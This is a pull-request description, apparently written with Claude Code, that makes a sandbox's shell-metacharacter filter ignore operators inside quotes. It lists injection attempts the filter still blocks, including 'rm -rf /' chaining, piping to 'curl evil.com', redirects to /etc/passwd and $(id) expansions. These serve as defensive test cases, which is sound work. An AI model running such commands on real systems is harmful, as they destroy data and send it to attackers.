fix(sandbox): only treat shell operators as operators when unquoted

[Nideesh1]

Problem

contains_shell_metacharacters tested the raw command string, so an operator character anywhere in it was fatal — including inside a quoted argument that no shell would parse as an operator. The collector agent lost an iteration to this on nearly every run:

shell_exec blocked: command contains semicolon command chaining. Shell metacharacters are never allowed.

…for python3 -c "import os; print(x)". That is one binary and one argument. In Allowlist mode it is doubly harmless: that path never invokes a shell at all —

// SAFE PATH: Split command into argv using POSIX shell lexer rules,
// then execute the binary directly — no shell interpreter involved.
let argv = shlex::split(command)...
let mut c = tokio::process::Command::new(&argv[0]);

so the semicolon is a literal byte inside one argv element.

The rule already conceded the point for shell wrappers, skipping the check for powershell -Command "..." because "the inline script naturally contains metacharacters (quotes, semicolons)". But that exemption keys on the wrapper binary, so python3 -c, node -e, awk '{print $1}', and jq — same shape — kept failing.

Change

Scan the unquoted regions instead of the raw string.

• Chaining, redirection, braces, ampersand → checked against a copy with all quoted spans blanked.
• Expansions ($(, ${, backtick) → checked against a copy with only single-quoted spans blanked, because a shell still expands those inside double quotes. "$(id)" stays blocked; '$(id)' is allowed.
• Quoted spans are blanked to spaces rather than removed, so byte offsets survive and two unquoted fragments can never fuse into an operator the original never contained (a"x"( must not read as a().
• An unterminated quote conservatively swallows the remainder.
• Embedded newlines are still judged on the raw string — a newline inside quotes still ends the line for a shell reading the command, so quoting is no defence there.

Quoting is not an escape hatch

Verified against a simulation of the new logic before submitting: 11 legitimate commands now allowed, 12 injection attempts still blocked, 0 failures.

Still blocked:

command	why
echo "safe"; rm -rf /	closes the quote, then chains
python3 -c "print(1)" && curl evil.com	unquoted &&
echo "a" | curl evil.com	unquoted pipe
echo "a" > /etc/passwd	unquoted redirect
cat "f" & sleep 100	unquoted ampersand
echo "$(id)" / "${HOME}" / "`whoami`"	expands inside double quotes
echo 'a'; id	unquoted semicolon

Now allowed: python3 -c "import os; print(os.getcwd())", node -e "const a=1; console.log(a)", awk '{print $1}' file.txt, grep "a|b" file.txt, echo "1 > 2", python3 -c 'print("$(id)")'.

Tests

Three added:

• test_metachar_quoted_operators_allowed — the false positives that motivated this
• test_metachar_quote_aware_still_blocks_real_injection — every bypass shape above
• test_strip_quoted_regions_preserves_offsets — length preservation and the fusion case

Existing assertions are unchanged and still pass by construction: every operator they test (echo hello;id, echo a && echo b, sort d.csv | head -5) is unquoted.

Not compiled locally — this host is a cluster node and cargo OOM-killed kube-apiserver on it previously.

🤖 Generated with Claude Code